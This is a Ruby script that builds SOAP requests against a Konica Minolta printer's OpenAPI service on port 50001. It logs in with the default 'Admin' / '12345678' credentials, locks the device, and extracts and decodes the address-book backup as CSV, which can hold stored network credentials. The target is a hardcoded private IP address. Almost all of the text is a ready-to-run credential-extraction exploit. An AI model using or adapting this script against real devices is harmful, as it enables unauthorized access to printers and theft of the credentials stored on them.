require 'net/http'
require 'uri'
require 'nokogiri'
require "base64"

def generate_authkey_request_xlm(major, minor)
  user ='Admin'
  passwd = '12345678'
  Nokogiri::XML::Builder.new do |xml|
    xml.send('SOAP-ENV:Envelope',
             'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
             'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
             'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
             'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
      xml.send('SOAP-ENV:Header'){
        xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
          xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
          xml.send('UserName', 'xmlns' => '') { xml.text '' }
          xml.send('Password', 'xmlns' => '') { xml.text '' }
          xml.send('Version', 'xmlns' => ''){
            xml.send('Major') { xml.text "#{major}" }
            xml.send('Minor') { xml.text "#{minor}" }
          }
          xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
        }
      }
      xml.send('SOAP-ENV:Body') {
        xml.send('AppReqLogin', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
          xml.send('OperatorInfo'){
            xml.send('UserType') { xml.text "#{user}" }
            xml.send('Password') { xml.text "#{passwd}" }
          }
          xml.send('TimeOut') { xml.text '60' }
        }
      }
    }
  end
end

def generate_logout_request_xlm(major, minor, authkey)
  Nokogiri::XML::Builder.new do |xml|
    xml.send('SOAP-ENV:Envelope',
             'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
             'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
             'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
             'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
      xml.send('SOAP-ENV:Header'){
        xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
          xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
          xml.send('UserName', 'xmlns' => '') { xml.text '' }
          xml.send('Password', 'xmlns' => '') { xml.text '' }
          xml.send('Version', 'xmlns' => ''){
            xml.send('Major') { xml.text "#{major}" }
            xml.send('Minor') { xml.text "#{minor}" }
          }
          xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
        }
      }
      xml.send('SOAP-ENV:Body') {
        xml.send('AppReqLogout', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
          xml.send('OperatorInfo'){
            xml.send('AuthKey') { xml.text "#{authkey}" }
          }
          xml.send('TimeOut') { xml.text '60' }
        }
      }
    }
  end
end

def generate_lock_request_xlm(major, minor, authkey)
  Nokogiri::XML::Builder.new do |xml|
    xml.send('SOAP-ENV:Envelope',
             'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
             'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
             'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
             'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
      xml.send('SOAP-ENV:Header'){
        xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
          xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
          xml.send('UserName', 'xmlns' => '') { xml.text '' }
          xml.send('Password', 'xmlns' => '') { xml.text '' }
          xml.send('Version', 'xmlns' => ''){
            xml.send('Major') { xml.text "#{major}" }
            xml.send('Minor') { xml.text "#{minor}" }
          }
          xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
        }
      }
      xml.send('SOAP-ENV:Body') {
        xml.send('AppReqEnterDeviceLock', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
          xml.send('OperatorInfo'){
            xml.send('AuthKey') { xml.text "#{authkey}" }
          }
            xml.send('LockType') { xml.text 'DownloadLock' }
            xml.send('PackageEntryFlg') { xml.text 'Package' }       
          xml.send('TimeOut') { xml.text '60' }
        }
      }
    }
  end
end

def generate_unlock_request_xlm(major, minor, authkey, lockkey)
  Nokogiri::XML::Builder.new do |xml|
    xml.send('SOAP-ENV:Envelope',
             'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
             'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
             'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
             'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
      xml.send('SOAP-ENV:Header'){
        xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
          xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
          xml.send('UserName', 'xmlns' => '') { xml.text '' }
          xml.send('Password', 'xmlns' => '') { xml.text '' }
          xml.send('Version', 'xmlns' => ''){
            xml.send('Major') { xml.text "#{major}" }
            xml.send('Minor') { xml.text "#{minor}" }
          }
          xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
        }
      }
      xml.send('SOAP-ENV:Body') {
        xml.send('AppReqExitDeviceLock', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
          xml.send('OperatorInfo'){
            xml.send('AuthKey') { xml.text "#{authkey}" }
          }
            xml.send('LockKey') { xml.text "#{lockkey}" }   
        }
      }
    }
  end
end

def generate_pwd_request_xlm(major, minor, authkey, lockkey)
  Nokogiri::XML::Builder.new do |xml|
    xml.send('SOAP-ENV:Envelope',
             'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
             'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
             'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
             'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
      xml.send('SOAP-ENV:Header'){
        xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
          xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
          xml.send('UserName', 'xmlns' => '') { xml.text '' }
          xml.send('Password', 'xmlns' => '') { xml.text '' }
          xml.send('Version', 'xmlns' => ''){
            xml.send('Major') { xml.text "#{major}" }
            xml.send('Minor') { xml.text "#{minor}" }
          }
          xml.send('AppManagementID', 'xmlns' => '') { xml.text '1000' }
        }
      }
      xml.send('SOAP-ENV:Body'){
        xml.send('AppReqSyncGetPackageData', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
          xml.send('OperatorInfo'){
            xml.send('AuthKey') { xml.text "#{authkey}" }
          }
            xml.send('LockKey') { xml.text "#{lockkey}" }
            xml.send('RequestItem') { xml.text 'Abbr' }
          xml.send('ObtainCondition'){
            xml.send('Type') { xml.text 'OffsetList' }
              xml.send('OffsetRange'){
                xml.send('Start') { xml.text '1' }
                xml.send('Length') { xml.text '100' }
              }
          }
          xml.send('BackUp') { xml.text 'On' }
          xml.send('BackUpPassword') { xml.text 'MYSKIMGS' }         
          xml.send('FileFormat') { xml.text 'Csv' }
        }
      }
    }
  end
end

def version(ip)
  response = send_request(ip, '','""')
  if response.nil?
    print_error("No response from device")
    return
  else
    xml0_body = ::Nokogiri::XML(response.body)
    major_parse = xml0_body.xpath('//Major').text
    minor_parse = xml0_body.xpath('//Minor').text
    major = ("#{major_parse}")
    minor = ("#{minor_parse}")
    sleep(1)
    login(ip, major, minor)
  end

  rescue
    puts("Version check Connection failed")
end

def login(ip, major, minor)
  authreq_xml = generate_authkey_request_xlm(major, minor)
  begin
    response = send_request(ip, authreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqLogin")
    if response.nil?
      print_error("No response from device")
      return
    else
      xml1_body = ::Nokogiri::XML(response.body)
      authkey_parse = xml1_body.xpath('//AuthKey').text
      authkey = ("#{authkey_parse}")
      sleep(1)
      lock(ip, major, minor, authkey)
      logout(ip, major, minor, authkey)
    end
  rescue
    puts("Login Connection failed")
  end
end

def lock(ip, major, minor, authkey)
  lockreq_xml = generate_lock_request_xlm(major, minor, authkey)
  begin
    response = send_request(ip, lockreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqEnterDeviceLock")
    if response.nil?
      print_error("No response from device")
      return
    else
      xml1_body = ::Nokogiri::XML(response.body)
      lockkey_parse = xml1_body.xpath('//LockKey').text
      lockkey = ("#{lockkey_parse}")
      sleep(1)
      extract(ip, major, minor, authkey, lockkey)
      unlock(ip, major, minor, authkey, lockkey)
    end
  rescue
    puts("Lock failed")
  end
end

def unlock(ip, major, minor, authkey, lockkey)
  unlockreq_xml = generate_unlock_request_xlm(major, minor, authkey, lockkey)
  begin
    response = send_request(ip, unlockreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqExitDeviceLock")
    sleep(1)
    if response.nil?
      print_error("No response from device")
      return
      end
  rescue
    puts("unlock failed")
  end
end

def logout(ip, major, minor, authkey)
  authreq_xml = generate_logout_request_xlm(major, minor, authkey)
  begin
    response = send_request(ip, authreq_xml.to_xml, "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqLogout")
    if response.nil?
      print_error("No response from device")
      return
    end
  rescue
    puts("logout failed")
  end
end

def extract(ip, major, minor, authkey, lockkey)
  if (authkey != '')
    smbreq_xml = generate_pwd_request_xlm(major, minor, authkey, lockkey)
    begin
      response = send_request(ip, smbreq_xml.to_xml,"http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}#AppReqSyncGetPackageData")
      sleep(1)
      if response.nil?
        print_error("No response from device")
        return
      else
          pattern = /Content-Transfer-Encoding: base64(.*?)--MIME_boundary--/m
          csv_data = nil
          if match = response.body.match(pattern)
                    csv_data = match[1].strip
                  end
                
          if csv_data.nil?
            puts "CSV данные не найдены."
          else
            decoded_csv = Base64.decode64(csv_data)
      
            puts "Decoded CSV:"
            puts decoded_csv
          end
      end
    end
  end
end

def send_request(ip, data, action)
  uri = URI.parse("http://#{ip}:50001/OpenAPI")
  http = Net::HTTP.new(uri.host, uri.port)

  request = Net::HTTP::Post.new(uri.path)
  request.body = data # Тело запроса
  request['Content-Type'] = 'text/xml'
  request['SOAPAction'] = "#{action}"
 
  return http.request(request)
end

version('172.16.1.121')